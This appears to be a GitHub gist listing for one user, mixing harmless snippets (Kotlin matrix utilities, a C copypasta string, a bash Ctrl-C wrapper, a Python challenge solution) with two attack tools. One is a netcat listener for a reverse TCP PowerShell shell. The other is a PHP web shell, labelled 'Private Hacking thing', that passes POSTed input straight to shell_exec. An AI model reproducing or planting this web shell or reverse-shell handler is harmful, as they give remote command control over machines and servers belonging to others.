Skip to content

Instantly share code, notes, and snippets.


DownloadPizza downloadpizza

View GitHub Profile
downloadpizza / CatalystUtil.kt
Created Apr 3, 2020
DownloadPizza's Catalyst stuff
View CatalystUtil.kt
package net.downloadpizza.cautil.matrix
typealias Matrix<T> = List<List<T>>
inline fun <T> readMatrix(height: Int, delimeter: String = " ", convert: (String) -> T): Matrix<T> =
List(height) { readLine()!!.split(delimeter).map(convert) }
fun readIntMatrix(height: Int, delimeter: String = " "): Matrix<Int> =
readMatrix(height, delimeter, String::toInt)
downloadpizza / mc.bin
Created Mar 18, 2020
some stuff i found on minecraft
View mc.bin
downloadpizza / kira.c
Created Dec 16, 2019
Have I ever told you the tragedy of yoshikage kira the wise?
View kira.c
int main(void) {
char* copypasta = "\
My name is Yoshikage Kira. I'm 33 years old. My house is in the northeast section of Morioh, where all the villas are, and I am not married. I work as an employee for the Kame Yu department stores, and I get home every day by 8 PM at the latest. I don't smoke, but I occasionally drink.\n\
I'm in bed by 11 PM, and make sure I get eight hours of sleep, no matter what. After having a glass of warm milk and doing about twenty minutes of stretches before going to bed, I usually have no problems sleeping until morning. Just like a baby, I wake up without any fatigue or stress in the morning. I was told there were no issues at my last check-up.\n\
I'm trying to explain that I'm a person who wishes to live a very quiet life. I take care not to trouble myself with any enemies, like winning and losing, that would cause me to lose sleep at night. That is how I deal with society, and I know that is what brings me happiness. Although, if I were to fight I wouldn
downloadpizza /
Last active May 9, 2019
Read my description, this is a wrapper, which allows control c without killing the script
#!/usr/bin/env bash
trap t_exit INT
function t_exit() {
read -p "Exit? y/N: " ext
if [[ "y" = "$ext" ]];then
exit 1
downloadpizza /
Created May 9, 2019
A receiver for a reverse tcp powershell (--exit is to kill all PS instances if you put PS the conenctor in a loop)
#!/usr/bin/env bash
if [[ $1 = "--exit" ]]
echo "exiting..."
echo "ps powershell | kill"|nc -lp 8043
echo "done"
exit 1
(echo "echo \"connected to \$(whoami)\""&&cat)|nc -lp 8043
downloadpizza / Inject.php
Last active Oct 17, 2018
Private Hacking thing
View Inject.php
<form method="post" action="">
<input type="text" name="cmd" placeholder="command..."></input>
<input type="submit"></input>
echo "$";
echo htmlspecialchars(shell_exec($_POST['cmd']));
downloadpizza /
Last active Sep 10, 2018
Eine Python Lösung für coding challenge 7
import requests
import json
def fsum(ls,rs):
for a in range(0,len(ls)):
for b in range(a, len(ls)):
for c in range(b, len(ls)):
for d in range(c, len(ls)):
if ls[a]+ls[b]+ls[c]+ls[d]==rs:
return [a,b,c,d]
You can’t perform that action at this time.